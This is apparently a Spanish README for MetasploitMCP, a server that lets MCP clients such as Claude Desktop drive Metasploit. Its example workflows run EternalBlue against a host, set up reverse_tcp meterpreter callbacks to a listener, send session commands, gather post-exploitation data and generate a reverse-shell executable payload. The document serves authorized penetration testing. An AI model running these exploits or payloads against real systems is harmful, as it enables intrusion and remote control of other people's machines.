MetasploitMCP

Servidor MCP para Metasploit

• generate_payload: Generar archivos de payload usando Metasploit RPC (guarda los archivos localmente)

Gestión de sesiones

• list_active_sessions: Mostrar las sesiones actuales de Metasploit con información detallada
• send_session_command: Ejecutar un comando en una shell activa o en una sesión de Meterpreter
• terminate_session: Finalizar de forma forzada una sesión activa

Gestión de handlers

• list_listeners: Mostrar todos los handlers activos y trabajos en segundo plano
• start_listener: Crear un nuevo multi/handler para recibir conexiones
• stop_job: Terminar cualquier trabajo o handler en ejecución

Requisitos previos

• Metasploit Framework instalado y msfrpcd en ejecución
• Python 3.10 o superior
• Paquetes de Python requeridos (ver requirements.txt)

Instalación

1. Clona este repositorio
2. Instala las dependencias:
   root@kitploit:~

   pip install -r requirements.txt
   

3. Configura las variables de entorno (opcional):
   root@kitploit:~

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
   

Uso

Inicia el servicio RPC de Metasploit:

Opciones de transporte

El servidor admite dos métodos de transporte:

• HTTP/SSE (Server-Sent Events): Modo predeterminado para la interoperabilidad con la mayoría de los clientes MCP
• STDIO (Standard Input/Output): Se utiliza con Claude Desktop y conexiones directas por pipe similares

Puedes seleccionar explícitamente el modo de transporte usando la opción --transport:

Opciones adicionales para el modo HTTP:

Integración con Claude Desktop

Para la integración con Claude Desktop, configura claude_desktop_config.json:

Otros clientes MCP

Para otros clientes MCP que usan HTTP/SSE:

1. Inicia el servidor en modo HTTP:

   root@kitploit:~

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
   

2. Configura tu cliente MCP para conectarse a:

   • Endpoint SSE: http://your-server-ip:8085/sse

Consideraciones de seguridad

⚠️ ADVERTENCIA IMPORTANTE DE SEGURIDAD:

Esta herramienta proporciona acceso directo a las capacidades de Metasploit Framework, que incluyen potentes funciones de explotación. Úsala de forma responsable y únicamente en entornos donde tengas permiso explícito para realizar pruebas de seguridad.

• Valida y revisa siempre todos los comandos antes de ejecutarlos
• Ejecútala solo en entornos de prueba aislados o con la autorización adecuada
• Ten en cuenta que los comandos de post-explotación pueden provocar modificaciones significativas en el sistema

Ejemplos de flujos de trabajo

Explotación básica

1. Lista los exploits disponibles: list_exploits("ms17_010")
2. Selecciona y ejecuta un exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. Lista las sesiones: list_active_sessions()
4. Ejecuta comandos: send_session_command(1, "whoami")

Post-explotación

1. Ejecuta un módulo de post-explotación: run_post_module("windows/gather/enum_logged_on_users", 1)
2. Envía comandos personalizados: send_session_command(1, "sysinfo")
3. Finaliza cuando hayas terminado: terminate_session(1)

Gestión de handlers

1. Inicia un listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. Lista los handlers activos: list_listeners()
3. Genera un payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. Detén un handler: stop_job(1)

Pruebas

Este proyecto incluye pruebas unitarias y de integración exhaustivas para garantizar la fiabilidad y el mantenimiento.

Requisitos previos para las pruebas

Instala las dependencias de prueba:

O usa el instalador práctico:

Ejecución de las pruebas

Comandos rápidos

Conjuntos de pruebas específicos

Opciones de prueba

Estructura de las pruebas

• tests/test_options_parsing.py: Pruebas unitarias para la funcionalidad de análisis tolerante de opciones
• tests/test_helpers.py: Pruebas unitarias para las funciones auxiliares internas y la gestión del cliente MSF
• tests/test_tools_integration.py: Pruebas de integración para todas las herramientas MCP con backend de Metasploit simulado
• conftest.py: Fixtures de prueba compartidos y configuración
• pytest.ini: Configuración de Pytest con ajustes de cobertura

Características de las pruebas

• Simulación exhaustiva: Todas las dependencias de Metasploit están simuladas, por lo que las pruebas se ejecutan sin requerir una instalación real de MSF
• Soporte asíncrono: Soporte completo de pruebas async/await mediante pytest-asyncio
• Informes de cobertura: Análisis de cobertura detallado con informes HTML
• Pruebas parametrizadas: Pruebas eficientes de múltiples escenarios de entrada
• Gestión de fixtures: Fixtures de prueba reutilizables para escenarios de configuración comunes

Informes de cobertura

Después de ejecutar las pruebas con cobertura, los informes están disponibles en:

• Terminal: Resumen de cobertura mostrado después de la ejecución de las pruebas
• HTML: htmlcov/index.html (cuando se usa la opción --html)

Integración CI/CD

Para integración continua:

Opciones de configuración

Directorio de guardado de payloads

De forma predeterminada, los payloads generados con generate_payload se guardan en un directorio payloads en tu carpeta personal (~/payloads o C:\Users\YourUsername\payloads). Puedes personalizar esta ubicación estableciendo la variable de entorno PAYLOAD_SAVE_DIR.

Configuración de la variable de entorno:

• Windows (PowerShell):

  root@kitploit:~

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  

• Windows (Símbolo del sistema):

  root@kitploit:~

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  

• Linux/macOS:

  root@kitploit:~

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  

• En la configuración de Claude Desktop:

  root@kitploit:~

  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
  }
  

Nota: Si especificas una ruta personalizada, asegúrate de que exista o de que la aplicación tenga permiso para crearla. Si la ruta no es válida, la generación de payloads podría fallar.

Licencia

Apache 2.0